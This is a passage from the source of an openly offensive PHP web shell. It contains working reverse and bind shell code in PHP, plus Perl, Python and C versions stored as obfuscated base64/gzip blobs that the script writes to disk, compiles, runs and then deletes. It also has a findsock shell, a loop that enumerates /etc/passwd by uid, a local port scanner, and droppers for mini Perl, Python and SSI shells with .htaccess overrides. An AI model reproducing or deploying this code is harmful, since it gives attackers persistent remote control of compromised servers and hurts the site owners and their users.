1227 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"> saving file to <input name="path" type="text" maxlength="500" size="10" value="./.bc.c"><input type="submit" value="go"><input name="shellz" type="hidden" value="cremote"><input name="p" type="hidden" value="b"><br>'.$nc.'</form>';
1228 }
1229 //c end
1230 echo "<br>";
1231 echo '<font color="blue">---> PHP+C findsock </font><font color="gray">(likely wont work on modern php&apache >= 2009)</font><br>';
1232 $searchvar=trim(search("gcc",$failflag));
1233 if (empty($searchvar)) {
1234 echo "fail, no gcc here<br>";
1235 } else {
1236 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">compile findsock saving binary to: <input name="path" type="text" maxlength="500" size="10" value="./findsock"> <input name="p" type="hidden" value="b"><input type="submit" value="go"><input name="shellz" type="hidden" value="findsock"> <a href="#" onclick="showTooltip(3)" id="link3"> >> help << </a>';
1237 echo '<div id="3" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1238 echo "first save and compile findsock binary, then connect to this shell via nc and specify the path to binary in the request, e.g. if you've saved binary in current dir, make such request: <br><br>h4x0r@localhost$ nc -v ".$_SERVER['SERVER_NAME']." 80 <br> GET ".$_SERVER['SCRIPT_NAME']."?pfs&path=".getcwd()." HTTP/1.0 <br> Host:".$_SERVER['SERVER_NAME']." <press_Enter><br><press_Enter><br><br>and if findsock will succeed, you'll see a shell: <br> sh-3.2$<br><br>use nc, not telnet! do not forget to specify the correct path! <br>additional info: <br>https://bugs.php.net/bug.php?id=38915<br>https://issues.apache.org/bugzilla/show_bug.cgi?id=46425<br>http://pentestmonkey.net/tools/web-shells/php-findsock-shell<br><br></div>";
1239 echo '</form><br><br>';
1240 }
1241 } //failcheck end
1242 if (!empty($_POST["shellz"])) {
1243 //code by security-teams.net
1244 $perlbdcode='#!'.search("perl",$failflag).'
1245 use IO::Socket::INET;
1246 $server = IO::Socket::INET->new(
1247 LocalPort => '.$_POST["port"].',';
1248 $perlbdcode.=gzinflate(base64_decode('bY/RCoIwFIbve4rjiJhhSNemEGYQpYIadBFE6RFHpuKsiPDdc6ZB1C7G9n3/OdsBECt4FNgeQDfAd831wQ88a24rgzf18Mqx99OebhivMPtU2fOd6TrOW8qQlxAxpGR5ZClG0j4jsibcPWnudCyioMOQY3nDcmIcwxCLisqyyDzbJiymUpyX5w52FPKiedQPFitHASCzkehEtG/nbgMFiPHXWZ734/ijGeVCiXpimcqT7qtQt3uY5s30It7SevAC'));
1249 //code by Michael Schierl
1250 $perlbccode='#!'.search("perl",$failflag);
1251 $perlbccode.="\n";
1252 $perlbccode.=gzinflate(base64_decode('lVVtb5pQFP7OrzgaUiChFZxNVxlmru06006MspdkWRqESyVFIHDRNq3/fedeXoTGdZkm5rw859znnPuAeUZgYg2Hi9h9INQQcvQ/uxENDUG0J9bF9cyeggnHfX1wpp+fn5/2y8RiZt9e3GBK184GWv/0tK9j5mp8PZ5MTZ3ZX6yFbYrj+fX3X9pv9GfWvPJ15mtmNyI0ow7topchAewWkW2Dz3A4mV7ZIAszQtKx56VgjoA3VnloFqeUh1hvDKUxjZkvUTeRVOFTiF2C6J6FNFVQIE7BCwiIHUPInrI4IRHIM/vrTxWknkc2vYSuHyUVrLv55Y/5i3U3taafbq2Lm1alSNeJKUmGEMQuDasG9bbQREC7IqEZzpZHieM+yFIglRjM5BHjaO4TmlI2bvYtlo1OAW81d1dekCJ/qRnkoy3sy8m0Gi3Kw7AFyddO9gCaIXjEDyLiyWISeMjSj9P2AeQxoBD4wPL/RiNQ7rCkAs9YSly528uWQdRz7gmlT3AcwXEIPRZZOtkK3r0faBqU2896bFVd3rBV/H+1VWkN/NDCwKjt9kcHWjSnN4QdlJ96s9Y3G1c7Gh1eboW6ms/fQIlJgitk94x2GkSmuGU/BH+YvjY4BAurfhCSKMaVJ4qqK2DqB3Ls+SmygOmMhMSlwKPY+8Xcx8rjmqFinCoo4gUH2Yp4Joojy5fsjrdO6nkOdfBO108gi34ar1WRxuy4j3eGsF0hDVlndy6mGwzi45USxyuRIC5z31fxXdEfoL5DJ+OKkju1mtKNAkdHuBUwTShfI0pDbSz/SmX8IBMfGHiGmjMfH9gBxq5khfu5p6uCAow4fk9ymwaUyDhJzbEJV0o9v00T+0Xkkankr3zriUvSrw7BLWc0lQsGmsqrTWAa2PFvMUhnPyafIfLjPGITF9eIveOcmlwVIG65veU24TZhNhYQdmJBrKBU9cHXvI6pxnUzyamFtPYz1CReQRlMZRo9CN0Jbhjjn0shv8Ku5FlwZSxPuH3CJzGEPw=='));
1253 //author/license unknown
1254 $cbdcode=gzinflate(base64_decode('bVBha8IwEP3eX3FMmOns1H2uDoo6kDEV7ZexSejaVA9rKkkUq+y/75q6Drd9CHl59y737jVQxtk+EdDTJsG8vX50Gj8UrmSU/eIK3THFTui/tM7jjTDXvBQG6XRQljxKA6TiidCeBXGGFVBxdWdCEhDqIBTfYeIBKUrgO9qofWzbN1GSKI7S6nj58OG/MrUKaSqBHb2NiGUlitSKBsbrSMEd4cPb0nXOYEXoO2muGPa7PvZKnY+tlgtnZyu2Whhm5bj0mu/HbtOjsWT5m3Rd3/m0VuNdUZHdpXdDAWgTmRuqXraHPlRpseCJjyej0IPFdPDMF+F8FLx4MJ7N5tNwysPBzKXlMAVWd/bh/sEFRxzRMEJU/jgJlTNWrePCbZ0LRYknkaesZkqH9aOtUfI02mJWkKGLkzLLK0EF7EWqtcllxsaTYDic82DySv99AQ=='));
1255 $cbdcode.='serv_addr.sin_port = htons('.$_POST["port"].');';
1256 $cbdcode.="\n";
1257 $cbdcode.=gzinflate(base64_decode('hVJBasMwELznFVsfilRUEgd6cnNOcymF0rNxpbUtImwjKWloyd+7suzGaQjBIHtn2PHMINfK3EpYwaduFHM0KXQCmPN2Jz0QsC2UsvDA4d6h3edhEuD0N7Yl+0M4z2a6hF6A5O5WsOAww4P27DHlGfRk2dot42fkInAOfVfZjtE3DbpqCsPeN+uXjzcB9M4369ebEmMMo53H5hTk6bqxfvGr1gaBpRx+oorBhmSGfNJobHxMmPU0IUQXUmLnb9Q1WRZUXtSe2AlSz//sEJZ3WtEvKipFKxb7sXu0Ax4bGOqYMDEZhVC7bjnqi170DEkvkCV5wgNKw5I53YK5qxORhIPJughRBmetw3EnACfTxwt2dqTnFw=='));
1258 //author/license
1259 $cbccode=gzinflate(base64_decode('XVBNawIxEL3nVwwrlESjq161BRELUqui25Msy5pku6FrIkksVfG/N7vWj3oYMvPmzZuXqUnFih0X0LeOS93KX1DtBu1taDX7Eu4/roSTPkKpSlwqB5tUKlwmqflkFFieGqj7/HsVE3SsKBnvIevMjjkoNVPOTSIVWKl6iKdioxXu0DbxJC/rI8nSjSz28AyD12Q8HUW3zlYb5/HcaWVx6rTE1apuTO7GywUtWz2eW/qt8jO1E5MeoPVBGH0BqDdXCHXtNzqNe6QSB5RxL3a+Cf7zRWE5G74ly2gxGrxTGM/ni1k0S6LhnICfkBlgzLRSgjmccQr44QpQJ/DkHVN/i4PQ2WOfENJvEziirTBGGxysmjFcBEngvyx+pMPl6U6I77bdaktZXovOfdGtJgQrcBCupQptHtDA5tCUAYXpx2Ti+6zQVnh2+eUT+gU='));
1260 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
1261 $findsock=gzinflate(base64_decode('bVLbTsMwDH3vV5gioaR09zdG+QLEG0+ApqxJN4suqZIUcRH/jp11Y0yoUhIfHx87J71EW7e9NnAbPsIkuPrVxPH2Lrv8xaNGdw55tJu/mPKdmqA9ryaAQcr8xXuLJMwY2gg7hRYEn5Tf1CXUW+WLgoM3CV8ZNiA4ARcVLBjoqH9sRP4Y1MbcQINW8+iAHXTOx2eby2Vm3jGKKR2+M9aDgikrolRJ+Gn2sjxNcOEhNacUXbKvI3BOae1XNKEP6l+8ZZynD/hpSIM31wiiy6GFNzsXDTV/Wkxf9txGL7PGeRCNrhZLCm83Juqo1q3heiEZu74+3J+SnTHeqp2hihKuSJ1Wpkr2ZTRjJg1n6+5DHPuVwPavbHRKFGKYHe2KR4dCsso4DPE4pE2WsGDbuGvS23WneoOLiQRVBdPDhPx+khptgziosqeJlHIqOhRHr2Wa18SAmu6a6b6bp4tNT4PZaTBnN1sX2ID0vqZuRT5Zo5307Etewlk0UrQ+PN7fn9HD9sjdH0f4S/xO3/4XA5GP8wH7AQ=='));
1262 //code by b374k
1263 $pybdcode="#!".search("python",$failflag)."\n";
1264 $pybdcode.=gzinflate(base64_decode('jVTbahsxEH3ehf0HVS/WYmdjO+2LWxlCcUioE5fYhUIIZrOrZEU2kpHkXP6+mpF8aZxCX7zS6MycMzfLp5U2jmjbI/YNfnT1KFyPOPkksvTy9PdyOrnig/7wc5bOzyfTKafHd1Id24YcVTRLFxeXk+Xs14IPhv1+lv6cXS849fbz2TwcanFPbCPallVPdT7K0sQ2S712XNtipVdCMQzb7RDa6XpIt0M7eWFEWbdSCcty76GiC8RL7rUhkkhFTKkeBGt9hPCcY/QNuMvD90beeqsRbm0UiW9BVVk5qRWrtFLo+dLIVpCFWQuMA/bCClUzOh6PCQUhiTNv+JisvFSOECOqZxYLhRjxWomVizAjlSMUqul5KdqiFiBCeGsDYQIhacB8kCQw5keDkCSCuxxsIcEkkfcEAnA6qisaQe+oPNcOZet3qLPSK4mwjSSICuTAPe5HWwK92PU0Gnf1gl5kaWkenrmfqQIOWRoDwSX/djIi3isWRxijzVfIG9DiVTo28P6oFeA3g1uv9+gO5eKAoXV4e4gxlJSq3hGNTw59EhxNvJ5gCJ8r2bIi1sticMhRth9U345Hln/iWIGtyr5/h33hYWmK8GHxdnq2vLiaLDYrVcxn338s54vryell9PPVcnEy2GaPAuVB2gj3e1cz1ml1VbaNtq7TI6gy3wBaaZ1PHXSZteKh7WGs/R3ivC/XaDPUqLKAHorKMcKgSDE82Z9qsj/WIIKslV/WqinvWhFmF1IqbCvEin3JtxMOCnhcOeCCl+2cgYIEN7FX1rXJsaJFWQEl+6+l2iMdfEyKe35QAl9eEia3Wbtavyg2PFBGYrPgr4D+VYx/sAb8fsA/'));
1265 //code by ont.rif
1266 $pyintserver="#!".search("python",$failflag)."\n";
1267 $pyintserver.="import sys, socket, os, pty, fcntl, struct, termios, select, resource\n";
1268 $pyintserver.="host = \"".$_POST["ip"]."\"\n";
1269 $pyintserver.="port = ".$_POST["port"]."\n";
1270 $pyintserver.=gzinflate(base64_decode('hVT9i+IwEP29f8XcgjSFXlfXdT+EPVg8lyvnKqzCwalIL41rsCYliav+9zfpl9VdsNjGJm9m3ry81KhD1wEt6RqesoGZIB9I+fr8sgiH/Ylfvo9Hvd+L8eSt//wKXh4bUCkEoxhDVlIbH1KpjIerbE9ZarBCqrgwcAW9SLgGCvi3mbhyQOpgwfYcg1sYYTJCfGmnl1KtiQc/oNmtoZq26iVAXhhG475SUvnA7FDxcMFGdqERA2lobyZcaADJQQE+hSwiAm1U9gdTYoF4m97kugRLnjAhiYeyHDTCYi6qObiMlltzhF9EI4U6uhSzoWcKnxnqgynNpXBSHvtAVzyJF8sY9zQ1h0ImBzUT0gAiuuBALjRMwlFv/Cccjv8i+J2ZyBhFDFMbLrUP7nHZ9eH7Tev27vHmsXPXwi2we1CPfgJcfmi27+/bnYFNfZq7Foxr2trNqC01QRrRNXF/4YUlbps+POBtf7bGkgqTBFxSk5CvtPNrRVAua43Kc5BGWjuwifa5FIppuVWUBdimSvgGvVJNvQ3C13CyGI5ewkHfmzbnjrUIcOACVCTeGYG2X6bybPJCP+s7mkjNgHBL+NR4GSKngTi2Z/SDgHv9j4trvcJ2p647R8473C8GE7VlGIBu3aH9rEAswVMS5AOBabWv/qlPYI6ZirtTnI7KAraBOl9sGVMjG8WimNRStpr2suFZUzvFDftkSBt9bDNvL3fjT44SZNnA8A0D3CUP7VlkOzu7p/RLimfUzkq3SnZHckfyJa/C4/j6iRvb4FkoPmJfM/sP'));
1271 switch ($_POST["shellz"]) {
1272 case "phpremote":
1273 // code by pentestmonkey.net. license: GPLv2
1274 $ip=($_POST["ip"]);
1275 $port=($_POST["port"]);
1276 $chunk_size=1400;
1277 $write_a=null;
1278 $error_a=null;
1279 $shell='/bin/sh -i';
1280 $daemon = 0;
1281 function printit ($string) { if (!$daemon) { print "$string\n"; }}
1282 if (function_exists('pcntl_fork')) {
1283 $pid = pcntl_fork();
1284 if ($pid == -1) { printit("ERROR: Can't fork<br>"); exit(1); }
1285 if ($pid) { exit(0); }
1286 if (posix_setsid() == -1) { printit("Error: Can't setsid()<br>"); exit(1); }
1287 $daemon = 1;
1288 } else { printit("WARNING: Failed to daemonise!<br>"); }
1289 umask(0);
1290 $sock = fsockopen($ip, $port, $errno, $errstr, 30);
1291 if (!$sock) { printit("$errstr ($errno)"); exit(1); }
1292 $process = proc_open($shell, $descriptorspec, $pipes);
1293 if (!is_resource($process)) { printit("ERROR: Can't spawn shell<br>"); exit(1); }
1294 stream_set_blocking($pipes[0], 0);
1295 stream_set_blocking($pipes[1], 0);
1296 stream_set_blocking($pipes[2], 0);
1297 stream_set_blocking($sock, 0);
1298 printit("Successfully opened reverse shell to $ip:$port<br>");
1299 while (1) {
1300 if (feof($sock)) { printit("ERROR: Shell connection terminated<br>"); break; }
1301 if (feof($pipes[1])) { printit("ERROR: Shell process terminated<br>"); break; }
1302 $read_a = array($sock, $pipes[1], $pipes[2]);
1303 $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
1304 if (in_array($sock, $read_a)) {
1305 $input = fread($sock, $chunk_size);
1306 fwrite($pipes[0], $input);
1307 }
1308 if (in_array($pipes[1], $read_a)) {
1309 $input = fread($pipes[1], $chunk_size);
1310 fwrite($sock, $input);
1311 }
1312 if (in_array($pipes[2], $read_a)) {
1313 $input = fread($pipes[2], $chunk_size);
1314 fwrite($sock, $input);
1315 }
1316 }
1317 fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);@proc_close($process);
1318 //php backconnect end
1319 break;
1320 case "phplocal":
1321 // code by metasploit.com. license unknown, assuming BSD
1322 $port=$_POST["port"];
1323 $scl='socket_create_listen';
1324 if (function_enabled($scl)) {
1325 $sock=@$scl($port);
1326 } else {
1327 $sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
1328 $ret=@socket_bind($sock,0,$port);
1329 $ret=@socket_listen($sock,5);
1330 }
1331 $msgsock=@socket_accept($sock);
1332 @socket_close($sock);
1333 while (FALSE !== @socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL)) {
1334 $buffer = '';
1335 $c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
1336 if (FALSE === $c) { break; }
1337 if (substr($c,0,3) == 'cd ') {
1338 chdir(substr($c,3,-1));
1339 } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
1340 break;
1341 } else {
1342 if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c=$c." 2>&1\n"; }
1343 if (function_enabled('shell_exec')) {
1344 $buffer=shell_exec($c);
1345 } else if(function_enabled('passthru')) {
1346 ob_start();
1347 passthru($c);
1348 $buffer=ob_get_contents();
1349 ob_end_clean();
1350 } else if(function_enabled('system')) {
1351 ob_start();
1352 system($c);
1353 $buffer=ob_get_contents();
1354 ob_end_clean();
1355 } else if(function_enabled('exec')) {
1356 $buffer=array();
1357 exec($c,$buffer);
1358 $buffer=join(chr(10),$buffer).chr(10);
1359 } else if(function_enabled('proc_open')) {
1360 $handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes);
1361 $buffer=NULL;
1362 while (!feof($pipes[1])) {
1363 $buffer.=fread($pipes[1],1024);
1364 }
1365 @proc_close($handle);
1366 } else if(function_enabled('popen')) {
1367 $fp=popen($c,'r');
1368 $buffer=NULL;
1369 if (is_resource($fp)) {
1370 while (!feof($fp)) {
1371 $buffer.=fread($fp,1024);
1372 }
1373 }
1374 @pclose($fp);
1375 }
1376 else { $buffer=0; }
1377 }
1378 @socket_write($msgsock,$buffer,strlen($buffer));
1379 }
1380 @socket_close($msgsock);
1381 echo "<br><br><font color=\"green\">phplocal done</font>";
1382 break;
1383 //phpbind end
1384 case "perllocal":
1385 $exec_path = trim($_POST['path']);
1386 ob_start();
1387 @sploent516();
1388 ob_end_clean();
1389 $fh=fopen($exec_path,'w');
1390 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1391 else {
1392 fwrite($fh,$perlbdcode);
1393 fclose($fh);
1394 chmod($exec_path,0644);
1395 $c=search("perl",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
1396 run($c);
1397 echo "<br><br><font color=\"green\">perllocal done</font>";
1398 }
1399 //perl bind end
1400 break;
1401 case "perlremote":
1402 $exec_path=trim($_POST['path']);
1403 ob_start();
1404 @sploent516();
1405 ob_end_clean();
1406 $fh=fopen($exec_path,'w');
1407 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1408 else {
1409 fwrite($fh,$perlbccode);
1410 fclose($fh);
1411 chmod($exec_path,0644);
1412 $c=search("perl",$failflag).' '.$exec_path.' '.$_POST["ip"].' '.$_POST["port"].' && rm -f '.$exec_path.'';
1413 run($c);
1414 echo "<br><br><font color=\"green\">perlremote done</font>";
1415 }
1416 break;
1417 //perl backconnect end
1418 case "pylocal":
1419 $exec_path = trim($_POST['path']);
1420 ob_start();
1421 @sploent516();
1422 ob_end_clean();
1423 $fh=fopen($exec_path,'w');
1424 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1425 else {
1426 fwrite($fh,$pybdcode);
1427 fclose($fh);
1428 chmod($exec_path,0644);
1429 $c=search("python",$failflag).' '.$exec_path.' -b '.$_POST["port"].' && rm -f '.$exec_path.'';
1430 run($c);
1431 echo "<br><br><font color=\"green\">pylocal done</font>";
1432 }
1433 //python bind end
1434 case "pyremote":
1435 $exec_path=trim($_POST['path']);
1436 ob_start();
1437 @sploent516();
1438 ob_end_clean();
1439 $fh=fopen($exec_path,'w');
1440 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1441 else {
1442 fwrite($fh,$pybdcode);
1443 fclose($fh);
1444 chmod($exec_path,0644);
1445 $c=search("python",$failflag).' '.$exec_path.' -r '.$_POST["port"].' '.$_POST["ip"].' && rm -f '.$exec_path.'';
1446 run($c);
1447 echo "<br><br><font color=\"green\">pyremote done</font>";
1448 }
1449 break;
1450 //python backconnect end
1451 case "pyint":
1452 $exec_path=trim($_POST['path']);
1453 ob_start();
1454 @sploent516();
1455 ob_end_clean();
1456 $fh=fopen($exec_path,'w');
1457 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1458 else {
1459 fwrite($fh,$pyintserver);
1460 fclose($fh);
1461 chmod($exec_path,0644);
1462 $c=search("python",$failflag).' '.$exec_path.' && rm -f '.$exec_path.'';
1463 run($c);
1464 echo "<br><br><font color=\"green\">pyint done</font>";
1465 }
1466 break;
1467 //python interactive end
1468 case "clocal":
1469 $exec_path=trim($_POST['path']);
1470 ob_start();
1471 @sploent516();
1472 ob_end_clean();
1473 $fh=fopen($exec_path,"w");
1474 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1475 else {
1476 fwrite($fh,$cbdcode);
1477 fclose($fh);
1478 $c=search("gcc",$failflag)." -w ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["port"]." | rm -f ".$exec_path."";
1479 run($c);
1480 echo "<br><br><font color=\"green\">clocal done</font>";
1481 }
1482 break;
1483 //C bind end
1484 case "cremote":
1485 $exec_path=trim($_POST['path']);
1486 ob_start();
1487 @sploent516();
1488 ob_end_clean();
1489 $fh=fopen($exec_path,"w");
1490 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1491 else {
1492 fwrite($fh,$cbccode);
1493 fclose($fh);
1494 $c=search("gcc",$failflag)." ".$exec_path." -o ".$exec_path." && ".$exec_path." ".$_POST["ip"]." ".$_POST["port"]." | rm -f ".$exec_path."";
1495 run($c);
1496 }
1497 break;
1498 case "findsock":
1499 $fs_path=trim($_POST['path']);
1500 ob_start();
1501 @sploent516();
1502 ob_end_clean();
1503 $fh=fopen($fs_path.".c","w");
1504 if (!$fh) { echo "<br><br><font color=\"red\">can`t fopen!</font>"; }
1505 else {
1506 fwrite($fh,$findsock);
1507 fclose($fh);
1508 $c=search("gcc",$failflag)." ".$fs_path.".c -o ".$fs_path." && rm -f ".$fs_path.".c";
1509 run($c);
1510 echo "<br>compiled, now connect to shell via nc and request ?pfs&path=".$fs_path."<br>";
1511 }
1512 break;
1513 }
1514 }
1515 echo "</body></html>";
1516 break;
1517// --------------------------------------------- bind end; extras
1518 case "e":
1519 if (empty($_POST["extraz"]) and $download != "1") {
1520 echo $title;
1521 echo '<font color="blue">---> SysInfo</font><br>';
1522 echo '<font color="gray">SERVER_ADDR: '.getenv('SERVER_ADDR').'<br>';
1523 echo 'REMOTE_ADDR: '.getenv('REMOTE_ADDR').'<br>';
1524 echo 'HTTP_X_FORWARDED_FOR: '.getenv('HTTP_X_FORWARDED_FOR').'<br>';
1525 echo 'HTTP_PROXY_CONNECTION: '.getenv('HTTP_PROXY_CONNECTION').'<br>';
1526 echo 'HTTP_VIA: '.getenv('HTTP_VIA').'<br>';
1527 echo 'HTTP_USER_AGENT: '.getenv('HTTP_USER_AGENT').'<br>';
1528 echo 'SERVER_SOFTWARE: '.getenv("SERVER_SOFTWARE").'<br>';
1529 echo "php API: ".php_sapi_name()."<br>";
1530 echo "php version: ".version()." (full: ".phpversion().")<br>";
1531 echo 'disable_functions: '.ini_get('disable_functions').'<br>';
1532 sploent516();
1533 echo "<br>";
1534 echo "current dir: ".getcwd()."<br>";
1535 echo "uname: ".wordwrap(php_uname(),90,"<br>",1)."<br>";
1536 echo "script owner: ".get_current_user()."<br>";
1537 if(function_enabled('posix_getpwuid')) {
1538 $processUser = posix_getpwuid(posix_geteuid());
1539 echo "current user: ".$processUser['name']."<br>";
1540 } else {
1541 echo "posix_getpwuid disabled!<br>";
1542 }
1543 echo "<br></font>";
1544 echo '<font color="blue">---> Extraz</font><br><br>';
1545 if (!function_enabled('phpinfo')) { echo "fail, phpinfo() is disabled<br><br>";
1546 } else {
1547 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="pi"><input type="submit" value="phpinfo()"></form><br>';
1548 }
1549 if(function_enabled('posix_getpwuid')) {
1550 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"read" /etc/passwd from uid <input name="uid1" type="text" size="10" value="0"> to <input name="uid2" type="text" size="10" value="1000"> <input type="submit" value="go"><input name="uidz" type="hidden" value="done"></form><input name="p" type="hidden" value="e">';
1551 if (!empty($_POST["uidz"])) {
1552 echo "<br>";
1553 //code by oRb
1554 for(;$_POST['uid1'] <= $_POST['uid2'];$_POST['uid1']++) {
1555 $uid = @posix_getpwuid($_POST['uid1']);
1556 if ($uid)
1557 echo join(':',$uid)."<br>\n";
1558 }
1559 }
1560 }
1561 echo "<br>";
1562 if(function_enabled('fsockopen')) {
1563 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">"scan" local open ports from <input name="port1" type="text" size="5" maxlength="5" value="1"> to <input name="port2" type="text" size="5" maxlength="5" value="1337"> <input type="submit" value="go"><input name="portz" type="hidden" value="done"><input name="p" type="hidden" value="e"></form>';
1564 if (!empty($_POST["portz"])) {
1565 for($i=$_POST["port1"]; $i <= $_POST["port2"]; $i++)
1566 {
1567 $fp=@fsockopen("127.0.0.1", $i, $errno, $errstr, 1);
1568 if ($fp) {
1569 echo "-> ".$i."<br>";
1570 fclose($fp);
1571 }
1572 }
1573 }
1574 }
1575 echo '<br><a href="#" onclick="showTooltip(5)" id="link5"> >> minishells help << </a>
1576 <div id="5" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">';
1577 echo 'sometimes CGI and SSI are not disabled globally on the server, so you could use CGI or SSI shell. but to enable CGI/SSI you need to use special .htaccess files.<br>CGI:<br><textarea cols="44" rows="2">'.$htaccesses['cgi'].'</textarea><br><br>SSI:<br><textarea cols="44" rows="4">'.$htaccesses["ssi"].'</textarea><br><br><b>warning:</b> using custom .htaccess could break this site! (it could result in error 500). <br>it is recommended to create new dir and place custom .htaccess and minishells there.<br><br>//thanks to profexer for SSI shell and to Michael Foord for python shell</div>';
1578 if (file_exists(".htaccess")) {
1579 echo '<br>WARNING: my .htaccess will <b>rewrite</b> current one!';
1580 }
1581 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini perl shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.pl"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="perlsh"><input name="p" type="hidden" value="e"> ';
1582 if (is_writable("./")) {
1583 echo "<font color=\"green\">(./ writable)</font>";
1584 } else {
1585 echo "<font color=\"red\">(./ readonly)</font>";
1586 }
1587 echo '</form>';
1588 if ($failflag=="1") {
1589 echo "can't find perl binary (all system functions disabled) assuming /usr/bin/perl<br>";
1590 }
1591 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini python shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="sh.py"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="pysh"><input name="p" type="hidden" value="e"> ';
1592 if (is_writable("./")) {
1593 echo "<font color=\"green\">(./ writable)</font>";
1594 } else {
1595 echo "<font color=\"red\">(./ readonly)</font>";
1596 }
1597 echo '</form>';
1598 if ($failflag=="1") {
1599 echo "can't find python binary (all system functions disabled) assuming /usr/bin/python<br>";
1600 }
1601 echo '<br><form method="post" action="'.$_SERVER['PHP_SELF'].'">put mini SSI shell into <input name="dir" type="text" maxlength="500" size="10" value="."><font color="green">/</font><input name="file" type="text" maxlength="500" size="10" value="index.shtml"> adding .htaccess <input type="checkbox" name="htaccess"> <input type="submit" value="OK"><input name="extraz" type="hidden" value="ssish"><input name="p" type="hidden" value="e"> ';
1602 if (is_writable("./")) {
1603 echo "<font color=\"green\">(./ writable)</font>";
1604 } else {
1605 echo "<font color=\"red\">(./ readonly)</font>";
1606 }
1607 echo '</form>';
1608 echo '<br>';
1609 //code by Eric A. Meyer, license CC BY-SA
1610 echo '<script type="text/javascript">function encode() { var obj = document.getElementById("dencoder"); var unencoded = obj.value; obj.value = encodeURIComponent(unencoded); } function decode() { var obj = document.getElementById("dencoder"); var encoded = obj.value; obj.value = decodeURIComponent(encoded.replace(/\+/g, " ")); } </script>';
1611 echo "<font color='blue'>---> Text encoderz/decoderz</font><br><br>";
1612 echo "fast URL-encoder:<br>";
1613 echo '<form onsubmit="return false;" action="javascript;"><textarea cols="80" rows="4" id="dencoder"></textarea><div><input type="button" onclick="decode()" value="Decode"> <input type="button" onclick="encode()" value="Encode"></div></form>';
1614 echo "<br>other encoders: ";
1615 //code by Eugen
1616 $cryptform="<form action=\"".$_SERVER['PHP_SELF']."\" method=\"post\">
1617 <input name=\"p\" type=\"hidden\" value=\"e\">
1618 <textarea name=\"text\" cols=\"80\" rows=\"4\">";
1619 if(isset($_POST["text"])) { $cryptform.=$_POST["text"]; }
1620 $cryptform.="</textarea><br>
1621 <select name=\"cryptmethod\">
1622 <option value=\"asc2hex\">ASCII to Hex</option>
1623 <option value=\"hex2asc\">Hex to ASCII</option>
1624 <option value=\"b64enc\">Base 64 Encode</option>
1625 <option value=\"b64dec\">Base 64 Decode</option>
1626 <option value=\"crypt\">DES Crypt</option>
1627 <option value=\"entityenc\">HTML Entities Encode</option>
1628 <option value=\"entitydec\">HTML Entities Decode</option>
1629 <option value=\"md5\">MD5 Crypt</option>
1630 <option value=\"md5md5\">MD5(MD5) Crypt</option>
1631 <option value=\"sha1\">SHA1 Crypt</option>
1632 <option value=\"mysql5\">MYSQL5 Hash</option>
1633 </select><br>
1634 <input type=\"submit\" name=\"crypt\" value=\"go\">
1635 </form>";
1636 echo $cryptform;
1637 if(isset($_POST['crypt'])) {
1638 function entityenc($str) {
1639 $text_array=explode("\r\n", chunk_split($str, 1));
1640 for ($n=0; $n < count($text_array) - 1; $n++) {
1641 $newstring .= "&#" . ord($text_array[$n]) . ";";
1642 }
1643 return $newstring;
1644 }
1645 function entitydec($str) {
1646 $str=str_replace(';', '; ', $str);
1647 $text_array=explode(' ', $str);
1648 for ($n=0; $n < count($text_array) - 1; $n++) {
1649 $newstring .= chr(substr($text_array[$n], 2, 3));
1650 }
1651 return $newstring;
1652 }
1653 function asc2hex($str) {
1654 return chunk_split(bin2hex($str), 2, " ");
1655 }
1656 function hex2asc($str) {
1657 $str=str_replace(" ", "", $str);
1658 for ($n=0; $n<strlen($str); $n+=2) {
1659 $newstring .= pack("C", hexdec(substr($str, $n, 2)));
1660 }
1661 return $newstring;
1662 }
1663 $text=$_POST['text'];
1664 if($text == '') {
1665 die("<p>empty form</p>\n");
1666 }
1667 echo("--><br><textarea cols=\"80\" rows=\"4\">");
1668 switch ($_POST['cryptmethod']) {
1669 case "asc2hex":
1670 $text=asc2hex($text);
1671 break;
1672 case "hex2asc":
1673 $text=hex2asc($text);
1674 break;
1675 case 'b64enc':
1676 $text=base64_encode($text);
1677 break;
1678 case 'b64dec':
1679 $text=base64_decode($text);
1680 break;
1681 case 'crypt':
1682 $text=crypt($text, 'CRYPT_STD_DES');
1683 break;
1684 case 'entityenc':
1685 $text=entityenc($text);
1686 break;
1687 case 'entitydec':
